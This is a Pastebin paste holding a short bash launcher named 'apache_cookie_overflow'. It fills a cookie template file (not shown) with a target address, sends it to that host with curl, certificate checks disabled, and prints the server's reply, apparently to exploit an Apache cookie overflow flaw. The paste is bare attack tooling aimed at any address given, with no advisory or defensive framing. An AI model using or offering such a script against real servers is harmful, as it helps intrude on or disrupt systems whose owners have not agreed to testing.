Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- if [ $# == 0 ] ; then
- echo "usage ./apache_cookie_overflow <address> <https|http>"
- exit 0
- fi
- cat apache_cookie_overflow.tmp |sed "s/&dns/$1/g" >/tmp/curl_cookie.txt
- RESPONSE=$(curl -s -m 2 -b /tmp/curl_cookie.txt $2://$1 -k 2>/dev/null)
- echo $RESPONSE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement